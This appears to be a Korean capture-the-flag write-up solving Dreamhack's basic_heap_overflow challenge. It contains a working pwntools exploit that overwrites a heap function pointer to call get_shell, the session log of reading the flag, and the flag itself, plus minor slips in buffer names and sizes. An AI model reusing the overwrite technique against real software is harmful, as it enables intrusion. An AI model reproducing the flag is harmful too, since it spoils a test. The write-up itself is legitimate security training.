Description
이 문제는 서버에서 작동하고 있는 서비스(basic_heap_overflow)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
분석
int __cdecl main(int argc, const char **argv, const char **envp) { void *v4; // [esp+8h] [ebp-10h] void (**v5)(void); // [esp+Ch] [ebp-Ch] v4 = malloc(0x20u); v5 = (void (**)(void))malloc(0x20u); initialize(); *v5 = (void (*)(void))table_func; __isoc99_scanf("%s", v4); if ( *v5 ) (*v5)(); return 0; }
20바이트 크기의 힙 버퍼 v5, v6를 할당시키고,
v5에 table_func 주소를 가리키게 만들고, v5를 실행시키는데
그 전에 scanf 함수를 통해 크기 제한 없이 입력받을 수 있어 힙 오버플로우가 발생한다.
로컬에서 바이너리를 실행해서
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMM 문자열을 넣었을 시,
아래와 같이 eip가 0x4d4d4d4d를 가리키게 된다.
따라서 AAAA~LLLL까지의 문자열 크기는 48바이트이므로,
48바이트 크기의 더미 데이터와 EIP를 가리키게 만들고 싶은 주소로 Payload를 구성시킬 수 있겠다.
ubuntu@29c7cfc91700:~/CTF/dreamhack.io/basic_heap_overflow$ gdb -c core ... Program terminated with signal SIGSEGV, Segmentation fault. #0 0x4d4d4d4d in ?? ()
Solution
문제 서버에서의 ptr과 table_func의 주소값 차이가 48이 아닌 40이 나온다.
따라서 페이로드를 구성할시 40바이트 크기의 더미 데이터와 get_shell 주소로 구성해야 된다.
이러한 주소값 차이가 나는 이유는 한 블로그를 보니 운영체제가 32비트 or 64비트에 따라 달라진다고 한다.
ptr과 table_func의 주소값 차이는 48입니다. 하지만 실제 문제 서버와 로컬 환경이 달라서 그런지 문제 서버에서의 ptr과 table_func의 주소값 차이는 40입니다. 가장 유력한 원인은 운영체제의 비트 수 차이인데 제 PC는 64bit, 문제 서버는 32bit로 추정됩니다.
제 PC는 64bit이므로 힙 메모리를 할당할 때 처음 여유 비트로 8바이트를 더 부여하고 0x10단위로 힙 메모리를 부여하기 때문에 처음 32바이트에서 여유메모리를 합하면 40바이트 16바이트가 단위이므로 48바이트를 부여하기 때문에 지금까지의 결과가 나왔습니다. 하지만 문제 서버가 32bit 운영체제라면 처음 32바이트에서 여유 메모리는 정확히 모르지만 최대 8바이트이므로 8바이트를 더해 40바이트, 단위는 8바이트 이므로 40바이트의 힙 메모리를 할당합니다. 따라서 아래 익스플로잇 코드를 작성할 때는 주소값 차이를 40으로 계산해야합니다.
출처: https://lemon-soju.tistory.com/53
from pwn import * context.log_level = 'debug' #p = process('./basic_heap_overflow') p = remote('host3.dreamhack.games', 21966) payload = b"\x41"*40 e = ELF("./basic_heap_overflow") get_shell = e.symbols['get_shell'] payload += p32(get_shell) p.sendline(payload) p.interactive()
FLAG
DH{f1c2027b0b36ee204723079c7ae6c042}
ubuntu@29c7cfc91700:~/CTF/dreamhack.io/basic_heap_overflow$ python3 pwn2.py [+] Opening connection to host3.dreamhack.games on port 21966: Done [*] '/home/ubuntu/CTF/dreamhack.io/basic_heap_overflow/basic_heap_overflow' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [DEBUG] Sent 0x2d bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 41 41 41 41 41 41 41 41 7b 86 04 08 0a │AAAA│AAAA│{···│·│ 0000002d [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x19 bytes: b'basic_heap_overflow\n' b'flag\n' basic_heap_overflow flag $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x24 bytes: b'DH{f1c2027b0b36ee204723079c7ae6c042}' DH{f1c2027b0b36ee204723079c7ae6c042}